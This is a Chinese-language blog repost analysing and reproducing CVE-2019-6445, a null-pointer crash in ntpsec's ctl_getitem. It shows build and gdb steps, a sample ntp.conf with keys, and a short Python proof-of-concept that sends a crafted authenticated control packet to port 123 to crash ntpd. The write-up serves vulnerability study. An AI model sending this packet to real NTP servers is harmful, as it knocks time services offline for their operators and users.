CVE-2019-6445分析复现

2020-05-06 约 134 字 预计阅读 1 分钟

声明:本文 【CVE-2019-6445分析复现】 由作者 snappyjack 于 2020-05-07 06:02:00 首发 先知社区 曾经 浏览数 40 次

感谢 snappyjack 的辛苦付出!

受影响版本:ntpsec 1.1.0, 1.1.1, 1.1.2


编译 安装 配置

配置configure,设置成允许调试

./waf configure --enable-debug --enable-debug-gdb

编译

./waf build

编译后的文件在

./build/main/ntpd/ntpd

配置文件ntp.conf

logfile /tmp/ntp.log
restrict 127.0.0.1
keys /home/magnus/resources/keys
trustedkey 1
controlkey 1
requestkey 1

/home/magnus/resources/keys文件

1 M gurka
2 M agurk

开始调试

使用gdb启动服务

gdb --args ./build/main/ntpd/ntpd -n -c ~/resources/ntp.conf

设置断点,并运行

b ctl_getitem
r

端口已正常,程序已经运行

在另一个bash窗口中执行poc

#!/usr/bin/env python
# note this PoC exploit uses keyid 1, password: gurka

import sys 
import socket

buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
       "\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
       "\x56\xc8\x07\xd4")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))

再次查看ntp服务程序,发现已断开,根据bt给出的数据,程序停在了ntp_control.c:2930的位置

更进一步的讲,程序停止在

0x555555575c6c <write_variables+482>    cmp    BYTE PTR [rdi],0x0

结合源码进程查看

0x555555575c6c这一步的操作是rdi指向的值与0进行比较,然后再做之后的操作

而此时rdi为0x0,妥妥的空指针异常

再用gdb查看下valuep指针

gdb-peda$ p valuep
$1 = 0x0

看来是valuep指针出了问题,往上回溯,在2911处打下断点,发现在运行完ctl_getitem函数后,valuep指针为0x0

问题函数ctl_getitem的源码分析

函数第一部分


由代码可知,程序先将tp设置为空,reqpt赋值给cp,然后在cp中搜索'=',我们在gdb中调试

显而易见,cp中不会有'=',也不会有',',没有满足任何一个if语句,运行完这段代码后tp仍为0x0

函数第二部分


此时将指针data(即valuep指针)置零,tp为空的条件让*data = buf不会被执行,运行完这段代码后data(即valuep指针)为0x0

最后一段与*data有关的代码


依然没有为*data赋值,之后再也没有设置data的地方了

之后就是跳出函数,运行到2930处,为valuep赋值的时候出现空指针异常,导致DoS

至此分析全部完成

参考

https://dumpco.re/bugs/ntpsec-authed-npe

源码及poc

https://github.com/snappyJack/CVE-2019-8936/

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now